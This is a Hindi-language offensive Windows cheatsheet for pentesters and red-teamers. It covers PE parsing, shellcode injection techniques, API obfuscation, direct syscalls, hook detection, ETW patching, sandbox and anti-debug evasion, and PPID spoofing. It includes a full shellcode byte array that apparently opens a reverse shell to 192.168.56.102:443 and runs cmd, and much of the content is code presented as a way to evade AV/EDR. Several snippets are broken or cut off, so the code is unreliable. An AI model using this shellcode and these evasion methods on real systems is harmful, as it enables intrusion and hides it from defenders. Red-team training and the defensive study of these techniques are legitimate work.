
Win32 और कर्नेल दुरुपयोग तकनीकें पेंटेस्टर्स के लिए
पेंटेस्टर्स और रेड-टीमर्स के लिए Win32 और कर्नेल दुरुपयोग तकनीकें, @UVision और @RistBS द्वारा निर्मित
डेव मोड सक्षम है, किसी भी मदद के लिए खुला है :)
DOS_HEADER : PE का पहला हेडर, इसमें MS DOS संदेश ("This programm cannot be run in DOS mode...."), MZ हेडर (PE की पहचान के लिए मैजिक बाइट्स) और कुछ स्टब सामग्री होती है।IMAGE_NT_HEADER : इसमें PE फ़ाइल सिग्नेचर, फ़ाइल हेडर और वैकल्पिक हेडर होते हैंSECTION_TABLE : इसमें सेक्शन हेडर होते हैंSECTIONS : हेडर नहीं है लेकिन जानना उपयोगी है : ये PE के सेक्शन हैंIAT और ILT पूर्ण एड्रेस प्राप्त करने के लिए सरल PE पार्सिंग:
GetModuleHandleA(NULL);BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew (RVA NT_HEADER)OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]IMAGE_DATA_DIRECTORY.VirtualAddress (RVA IMAGE_IMPORT_DIRECTORY का)BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress (RVA IMAGE_IMPORT_DESCRIPTOR का)EAT उन सभी फ़ंक्शनों को रिज़ॉल्व करता है जो PE द्वारा एक्सपोर्ट किए जाते हैं और DLL को भी रिज़ॉल्व करता है। यह IMAGE_EXPORT_DIRECTORY संरचना में परिभाषित है:```c
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name; // name of DLL
DWORD Base; // first ordinal number
DWORD NumberOfFunctions; // number of entries in EAT
DWORD NumberOfNames; // number of entries in (1) (2)
DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions
DWORD AddressOfNames; // Pointer array contains address of function names
DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions)
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
कृपया ध्यान दें कि EAT एक DLL में परिभाषित होता है, न कि "वास्तविक" PE में (एक PE लोड किए गए DLL के EAT का उपयोग उन पॉइंटर्स को हल करने के लिए करता है जिन फ़ंक्शनों को वह उपयोग करना चाहता है)।
### फ़ंक्शन एड्रेस रिज़ॉल्व करें
**फ़ंक्शन एड्रेस का उपयोग करना**
आप किस बात का इंतज़ार कर रहे हैं ? इस फ़ंक्शन को खोजें !
**ऑर्डिनल नंबर का उपयोग करना**
एक ऑर्डिनल नंबर `AddressOfFunctions` ऐरे में संबंधित फ़ंक्शन एड्रेस के लिए एक **इंडेक्स पोज़िशन** है। इसका उपयोग **फ़ंक्शन का सही एड्रेस प्राप्त करने** के लिए किया जा सकता है, जैसा नीचे दिया गया है :
आइए दिए गए ऑर्डिनल नंबर 3 के साथ संबंधित एड्रेस (Addr4) खोजने का प्रयास करें।
- **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
- **AdressOfNameOrdinals** : *2 5 7 3 ... N*
जिस एड्रेस की हम तलाश कर रहे हैं वह तीसरे स्थान पर है (0 से), और हमारा ऑर्डिनल नंबर इस एड्रेस के **इंडेक्स** के अनुरूप है।
**फ़ंक्शन नाम का उपयोग करना**
AddressOfNames ऐरे का Nवां तत्व AddressOfNameOrdinals ऐरे के Nवें तत्व के अनुरूप है : दिए गए नाम का उपयोग करके, आप संबंधित ऑर्डिनल नंबर प्राप्त कर सकते हैं, और इस नंबर का उपयोग करके फ़ंक्शन एड्रेस खोजने के लिए आगे बढ़ सकते हैं।
## इम्पोर्ट एड्रेस टेबल (IAT)
- PE लोडर को नहीं पता होता कि कौन सा एड्रेस किस फ़ंक्शन के अनुरूप है : आइए हमें बचाने के लिए IAT को बुलाते हैं
- IMAGE_IMPORT_DIRECTORY struct में परिभाषित:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
DWORD Characteristics;
DWORD OriginalFirstThunk; // RVA to ILT
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name; // RVA of imported DLL name
DWORD FirstThunk; // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;
संक्षेप में, IAT एक तालिका है जिसमें कई फ़ंक्शनों के पॉइंटर्स होते हैं जिन्हें PE लोड की गई DLL (ntdll, kernel32...) से आयात करता है।
विस्तृत कोड उदाहरण यहाँ : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp
PE द्वारा आयातित प्रत्येक DLL का अपना ILT होता है।``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)
इसमें आयातित DLL में मौजूद सभी फ़ंक्शन नाम शामिल हैं।
<br>
## SeDebug Privilege सक्षम करें
**SeDebug** privilege, Windows की सभी privilege सूची में सबसे "माँगा जाने वाला" privilege है। यह आपको किसी भी अधिकृत प्रक्रिया को "debug" करने की अनुमति देता है, जिसे कई आक्रामक क्रियाओं के रूप में अनुवादित किया जा सकता है, जैसे ```PROCESS_ALL_ACCESS``` privileges के साथ एक handle खोलना।
इसे usermode में सक्षम करने के लिए, आपको निम्न जैसे फ़ंक्शन का उपयोग करना होगा:```cpp
void EnableDebugPriv()
{
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tkp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = luid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);
CloseHandle(hToken);
}
यह फ़ंक्शन आपके वर्तमान प्रोसेस टोकन को खोलेगा, फिर इसे SE_PRIVILEGE_ENABLED विशेषाधिकार में समायोजित करेगा, जो लक्ष्य विशेषाधिकार के अनुरूप है।
कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp
यह तकनीक कुछ साल पहले अच्छी सफल बायपास दर रखती थी; हालाँकि, EDR और अन्य एंडपॉइंट समाधानों की बढ़ती संख्या के कारण, डिस्क पर लिखने से जितना संभव हो उतना बचा जाना चाहिए।
आप किसी कच्ची बाइनरी फ़ाइल को मेमोरी में निष्पादित कर सकते हैं, उसके आकार के स्थान को एक मेमोरी क्षेत्र में आवंटित करके:```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);
<br>
# कोड इंजेक्शन तकनीकें
## CreateRemoteThread इंजेक्शन
अपने शेलकोड को लक्षित प्रक्रिया के अंदर पहले से आवंटित मेमोरी स्थान में लिखें। (OPSEC नहीं)
> कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp
## प्रोसेस होलोइंग
प्रोसेस होलोइंग कई चरणों में की जाती है :
- लक्षित प्रक्रिया ("होलो" किया गया) को सस्पेंडेड मोड में बनाएं : इसे संशोधित करना आवश्यक है
- लक्षित प्रक्रिया को उसके PEB से अनमैप करें (आपको पहले इस संरचना को घोषित करना होगा)
- इस प्रक्रिया में नई exe की सामग्री लिखें : हेडर + सामग्री
- रिलोकेशन तालिका को पार्स करें और लागू करें
- प्रक्रिया को उसके थ्रेड में चलने दें
- आनंद लें
> संपूर्ण POC यहाँ पाया जा सकता है : https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
## APC क्यू तकनीक
अपने शेलकोड को किसी प्रक्रिया के सभी उपलब्ध थ्रेड्स में इंजेक्ट करें, फिर APC कॉल क्वेरी करने के लिए ```QueueUserAPC()``` फ़ंक्शन का उपयोग करें। जब समझौता की गई प्रक्रिया में कई थ्रेड्स नहीं होते हैं तो यह तकनीक विश्वसनीय नहीं हो सकती है।
> कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp
## अर्ली बर्ड
APC क्यू इंजेक्शन के समान, यहाँ APC कॉल को सस्पेंडेड प्रक्रिया में सेट किया जाना चाहिए। फिर निर्मित प्रक्रिया के मुख्य थ्रेड को रेज़्यूम किया जाता है; इस तकनीक का मुख्य लाभ यह है कि चल रही प्रक्रिया में शेलकोड लिखने से बचने पर AV/EDRs द्वारा इसका पता लगने की संभावना कम होती है।
> कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp
## रिफ्लेक्टिव DLL इंजेक्शन
जैसा कि "स्टैटिक" dll इंजेक्शन (dll फ़ाइल का उपयोग करके) में होता है, आप अपने स्वयं के DLL को मेमोरी में रिफ्लेक्ट करके अधिकांश प्रक्रियाओं में इंजेक्ट कर सकते हैं। इसका लाभ यह है कि यह कुछ AV/EDRs उत्पादों को आसानी से बायपास कर सकता है, भले ही आज यह काफी फ़्लैग की जाने वाली विधि है।
इसे कार्यशील बनाने के लिए आपको पहले मेमोरी आवंटित करनी होगी और कुछ रिलोकेशन कार्य करना होगा।
इस तकनीक के बारे में प्रसिद्ध Poc stephenfewer द्वारा प्रकाशित किया गया था : https://github.com/stephenfewer/ReflectiveDLLInjection
## DLL इंजेक्शन
आप किसी दूरस्थ प्रक्रिया में dll में संग्रहीत कुछ कोड इंजेक्ट कर सकते हैं। दुर्भाग्य से, EDR उत्पाद इसे आसानी से पकड़ सकते हैं, खासकर यदि दुर्भावनापूर्ण dll डिस्क को छूता है।
> कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp
## प्रोसेस डॉपलगैंगिंग
प्रोसेस डॉपलगैंगिंग कुछ वर्षों पहले तक अपने पेलोड को किसी पेचीदा तरीके से लॉन्च करने की एक अज्ञात विधि थी। इसे BlackHat 2017 में Tal Liberman और Eugene Kogan द्वारा प्रदर्शित किया गया था, उनका अद्भुत कार्य देखें : https://www.youtube.com/watch?v=Cch8dvp836w
यह प्रोसेस होलोइंग तकनीक से पहले का एक "मध्यवर्ती" चरण है : PE इमेज वास्तव में निष्पादित होने से पहले अधिलेखित कर दी जाती है, इसलिए WindowsLoader हमारे लिए प्रोसेस होलोइंग कर देता है (बहुत बढ़िया, है न ?)।
Hasherezade ने इस तकनीक के कुछ बढ़िया POC बनाए हैं, जो यहाँ उपलब्ध हैं : https://github.com/hasherezade/process_doppelganging
## फाइबर्स
फाइबर्स को ```cooperatively
threads (https://nullprogram.com/blog/2019/03/28/)``` के रूप में परिभाषित किया जा सकता है। यह मुख्य प्रोग्राम को इस नए थ्रेड प्रकार के माध्यम से शेलकोड निष्पादित करने की अनुमति देता है।
> कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp
## MapView कोड इंजेक्शन
यह तकनीक आपको अपनी दुर्भावनापूर्ण प्रक्रिया में मेमोरी सेक्शन का एक व्यू किसी अन्य दूरस्थ प्रक्रिया के साथ साझा करने की अनुमति देती है, जो इस व्यू में संग्रहीत आपके शेलकोड को निष्पादित करेगी। यह NtCreateSection/NtMapViewOfSection का उपयोग करके किया जा सकता है, जिससे आप WriteProcessMemory() या VirtualAlloc() जैसे भारी निगरानी वाले फ़ंक्शंस का उपयोग करने से बच जाते हैं (हालाँकि, NtMapViewOfSection पर भी निगरानी रखी जा सकती है)।
कोड उदाहरण : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp
## मॉड्यूल स्टॉम्पिंग
यह तकनीक आपके बीकन को डिस्क पर मौजूद किसी मॉड्यूल द्वारा बैक होने का कारण बनती है```c
CHAR moduleName[] = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);
DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection += 0x1000 * 0x2;
RXSection += 0xc;
char* ptr = ( char* )RXSection;
मॉड्यूल स्टॉम्पिंग (विशेष रूप से Cobalt Strike के लिए) का पता लगाने के लिए DetectCobaltStomp नामक एक स्कैनर जारी किया गया था, जो इस तकनीक के कुछ IoCs को उजागर करता है, लेकिन Brute Ratel के लेखक मूल तकनीक को बेहतर बनाने में सफल रहे।
बस मूल फ़ंक्शन पता (GetProcAddress से प्राप्त) को नए पते से बदलें। यह तकनीक इसके लेखक द्वारा विस्तृत रूप से वर्णित है: https://idov31.github.io/2022-01-28-function-stomping/
इनलाइन हुकिंग किसी फ़ंक्शन को हुक करने का सबसे बुनियादी तरीका है: इसमें API कॉल को अपने स्वयं के फ़ंक्शन (जंप) पर पुनर्निर्देशित करना शामिल है।
कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
संबंधित फ़ंक्शन पते को अपने स्वयं के फ़ंक्शन के पॉइंटर में संशोधित करके, आप प्रोग्राम को अपना स्वयं का कोड निष्पादित करवा सकते हैं।
इसे निम्नलिखित कई चरणों द्वारा किया जा सकता है :
कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp
win32 api के कॉल छिपाने के लिए आप कई तकनीकों का उपयोग कर सकते हैं, उनमें से कुछ यहाँ दी गई हैं:
char[] ऐरे का उपयोग करें```cpp
char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte> आप इस ट्रिक को कुछ ASCII कैरेक्टर कोड कन्वर्ट के साथ भी जोड़ सकते हैं।
## मैन्युअल फ़ंक्शन रिज़ॉल्व
आप kernel32, ntdll और इसी तरह के किसी भी फ़ंक्शन के पॉइंटर को मैन्युअल रूप से रिज़ॉल्व कर सकते हैं।
- पहले अपने फ़ंक्शन का टेम्पलेट घोषित करें, जो वास्तविक फ़ंक्शन हेडर पर आधारित हो :```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
> इस तकनीक को कुछ स्ट्रिंग ऑब्सफस्केशन के साथ संयोजित करने में संकोच न करें ताकि वास्तविक फ़ंक्शन नाम को प्लेनटेक्स्ट में पास करने से बचा जा सके।
## Win32 API हैशिंग
आप अपने API फ़ंक्शन कॉल्स को किसी हैश एल्गोरिदम (djb2 सबसे अधिक उपयोग किया जाने वाला है) से हैश करके छिपा सकते हैं, कुछ विशेष फ़ंक्शनों के साथ संभावित हैश टकराव से सावधान रहें। फिर इस तकनीक को EAT में प्रत्यक्ष पता समाधान के साथ संयोजित करें, और रिवर्सर्स को रुला दें :)
<br>
# EDR/Endpoint बाईपास
## डायरेक्ट Syscall
अधिकांश EDR उत्पाद यूज़र मोड में win32 API कॉल्स को हुक करेंगे (PatchGuard कर्नेल हुक की उपलब्धता को काफी हद तक कम कर देता है)। इन हुक्स से बचने के लिए, आप सीधे अपने API फ़ंक्शन्स के समकक्ष Nt() को कॉल कर सकते हैं।
-```asm
.code
SysNtCreateFile proc
mov r10, rcx //syscall convention
mov eax, 55h //syscall number : in this case it's NtCreateFile
syscall //call nt function
ret
SysNtCreateFile endp
end
इस तालिका में सही syscall नंबर खोजें : https://j00ru.vexillium.org/syscalls/nt/64/
NTSTATUS का उपयोग करके फ़ंक्शन प्रोटोटाइप बनाएं```cpp
EXTERN_C NTSTATUS SysNtCreateFile(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);- NT पता हल करें```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");
कोड नमूना : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp
C++/C को अक्सर AV/EDR उत्पादों द्वारा उच्च-स्तरीय समकक्ष भाषाओं की तुलना में अधिक फ्लैग किया जाता है : अपने सर्वोत्तम टेम्पलेट बनाने के लिए Go, Rust या अन्य भाषा का उपयोग करें,
सही फ़ंक्शन कॉल लागू करके अपने हुक किए गए फ़ंक्शनों को आसानी से (फिर से) हुक करें : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp
हुक का पता लगाने के लिए, आप पहले LoadLibrary के साथ NTDLL का आधार पता प्राप्त करेंगे, फिर आप EAT (IMAGE_EXPORT_DIRECTORY) और उसके ऑफसेट को खोजने के लिए PE हेडर को पार्स करेंगे, जिसमें सभी महत्वपूर्ण जानकारी (निर्यात फ़ंक्शन + नाम) होगी। निर्यात फ़ंक्शनों के माध्यम से पुनरावृति करते समय फ़ंक्शन नामों और पतों को हल करें और फ़ंक्शनों को सॉर्ट करने के लिए निम्नलिखित if स्टेटमेंट लागू करें
> **⚠️** : कुछ फ़ंक्शन false positive हैं, मैं अनुशंसा करता हूँ कि आप उन्हें पता लगाएँ :```c
if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
if कथन के लिए, जाँचें कि functionName के पहले 4 बाइट mov r10, rcx; mov eax, ## के बराबर हैं, जो syscall stub की शुरुआत है।```c
if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }> कोड नमूना: https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c
## ETW पैच करें
इवेंट ट्रेसिंग फॉर विंडोज़ (ETW) एक निम्न-स्तरीय लॉगिंग API है जिसका उपयोग कर्नेल और यूजरमोड प्रक्रिया को डीबग/लॉग करने के लिए किया जा सकता है। इसे पहली बार Windows 2000 में लागू किया गया था, लेकिन वास्तविक समय की निगरानी Windows XP के बाद से उपलब्ध है।
ETW API Microsoft द्वारा प्रदान की गई हेडर फ़ाइलों से उपलब्ध है: https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/
पेंटेस्ट ऑपरेशन में, आपको इसे पैच करके इस कार्यक्षमता के बारे में सावधान रहना चाहिए: सबसे अधिक उपयोग किया जाने वाला तरीका है ```ret``` ओपकोड को ETW इवेंट लिखने वाले फ़ंक्शन (```EtwEventWrite```) में लिखना ताकि लॉग कहीं लिखे जाने से बच सकें।
कोड नमूना : //
## सैंडबॉक्स बायपास
सैंडबॉक्स का उपयोग AV/EDR द्वारा आपके प्रोग्राम को वास्तव में निष्पादित करने से पहले कुछ API कॉल और कोड के अन्य हिस्सों का परीक्षण करने के लिए काफी किया जाता है। इस टूल से बचने के लिए कई तकनीकें हैं, उनमें से कुछ नीचे दी गई हैं:
- प्रतीक्षा करें। गंभीरता से। `Sleep()` या `time.sleep()` या समकक्ष जैसा फ़ंक्शन वास्तविक शेलकोड निष्पादित करने से पहले कुछ सेकंड के लिए काम करेगा।
- बहुत सारी मेमोरी (malloc) आवंटित करने का प्रयास करें, जैसे 100000000 बाइट्स।
- यह पता लगाने का प्रयास करें कि क्या आप वास्तव में सैंडबॉक्स (VM) वातावरण में हैं: खुली प्रक्रियाओं, फ़ाइलों और अन्य संदिग्ध चीजों का परीक्षण करें।
- एक नकली (काम न करने वाला) URL हल करने का प्रयास करें: कई AV उत्पाद नकली पेज के साथ प्रतिक्रिया देंगे।
- अजीब और विरले उपयोग होने वाले API कॉल का उपयोग करें, जैसे `VirtualAllocExNuma()` अधिकांश सैंडबॉक्स इस प्रकार के कॉल का अनुकरण नहीं कर सकते।```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
यह वास्तविक AV बचाव तकनीक नहीं है, लेकिन फिर भी RE इंजीनियरों द्वारा आसानी से रिवर्स होने से बचने के लिए उपयोगी है। डिबगर्स को पहचानने या उन्हें पागल बनाने के कई तरीके हैं, लेकिन उनमें से कुछ नीचे दिए गए हैं :
फ्लैग्स तरीका
आप IsDebuggerPresent() (Win32) या सीधे NtQueryInformationProcess() (बहुत अधिक प्रलेखित नहीं) का उपयोग डिबग फ्लैग्स की जाँच के लिए कर सकते हैं।
हैंडल्स तरीका
CloseHandle() API के साथ अमान्य (गायब) हैंडल्स को बंद करने का प्रयास करें। डिबगर अपवाद (exception) को पकड़ने की कोशिश करेगा, जिसे आसानी से पहचाना जा सकता है :```cpp
bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle
{
__try
{
CloseHandle((HANDLE)0xDEADBEEF);
return false;
}
__except (EXCEPTION_INVALID_HANDLE == GetExceptionCode()
? EXCEPTION_EXECUTE_HANDLER
: EXCEPTION_CONTINUE_SEARCH)
{
return true;
}
}
**ASM तरीका**
INT 3 कॉल (ASM) करने का प्रयास करें : यह एक सॉफ़्टवेयर ब्रेकपॉइंट के समतुल्य है, जो एक डीबगर को ट्रिगर करेगा। किसी भी डीबगर का पता लगाने के कई अन्य तरीके हैं, उनमें से कई यहाँ संकलित हैं : https://anti-debug.checkpoint.com/
## VirtualProtect तकनीक
`VirtualProtect()` के साथ कुछ तरकीबें अपनाकर आप आसानी से इन-मेमोरी फ़्लैग होने से बच सकते हैं : `PAGE_EXECUTE_READWRITE` और `PAGE_READWRITE` (कम संदिग्ध) के बीच बदलें ताकि आपका पसंदीदा AV ट्रिगर न हो।
## ताज़ा कॉपी अनहुक
हुक्स से बचने के लिए "हुक किए गए" ntdll को डिस्क से सीधे मैप की गई ताज़ा प्रति से बदलें।
कोड नमूना : // to add
## Hells Gate
हार्डकोड किए गए syscalls का उपयोग करने से बचने के लिए, Hell's Gate (Hells Gates ?) उन्हें EAT को पार्स करके गतिशील रूप से प्राप्त करता है (मेमोरी बाइट्स की तुलना syscall opcodes से करें)। मूल Poc महान VX-Underground टीम द्वारा बनाया गया है, और इसे यहाँ पाया जा सकता है : https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z
एक और उदाहरण : https://github.com/am0nsec/HellsGate
## Heavens Gate
32-बिट लोडर में 64-बिट पेलोड इंजेक्ट करने के लिए Wow64 का उपयोग करें। यह कुछ AV/EDRs को बायपास करने में उपयोगी हो सकता है क्योंकि Wow64 आपको यूज़रलैंड में पकड़े जाने से बचाएगा।
इस तकनीक का सबसे प्रसिद्ध संस्करण MSF टीम द्वारा बनाया गया है, उनका शानदार काम यहाँ देखें : https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm
## CreateThreadPoolWait
CreateThreadPoolWait() का दुरुपयोग करके, जो कॉलबैक फ़ंक्शन के पॉइंटर को स्वीकार कर सकता है, आप इस proc के माध्यम से अपने शेलकोड को निष्पादित कर सकते हैं। ऐसी ही कई तकनीकें (कॉलबैक फ़ंक्शन पॉइंटर का उपयोग करके) यहाँ उपलब्ध हैं : http://ropgadget.com/posts/abusing_win_functions.html
उदाहरण :```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait
#include <windows.h>
#include <threadpoolapiset.h>
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main()
{
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE);
return 0;
}
किसी रिमोट प्रोसेस में किसी थ्रेड को सस्पेंड करके हाईजैक करें, फिर उसके RIP रजिस्टर (या यदि आप x86 में हैं तो EIP) को अपने शेलकोड पते से बदल दें।
कोड उदाहरण : https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c
जब कोई संदिग्ध/असामान्य प्रोसेस किसी "वैध" या बिना ध्यान दिए गए प्रोसेस पैरेंट के नीचे शुरू होता है, तो यह बहुत संदिग्ध बन जाता है। एक दुर्भावनापूर्ण Word मैक्रो के बारे में सोचें जो पॉवरशेल प्रोसेस तैनात करता है : ऐसा अजीब है, है ना ?
PPID स्पूफिंग आपके स्पॉन किए गए प्रोसेस के पैरेंट प्रोसेस आईडी (PPID) को संशोधित करने की अनुमति देकर उससे बच सकता है।```cpp #include <windows.h> #include <TlHelp32.h> #include
//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);
InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
return 0;
}
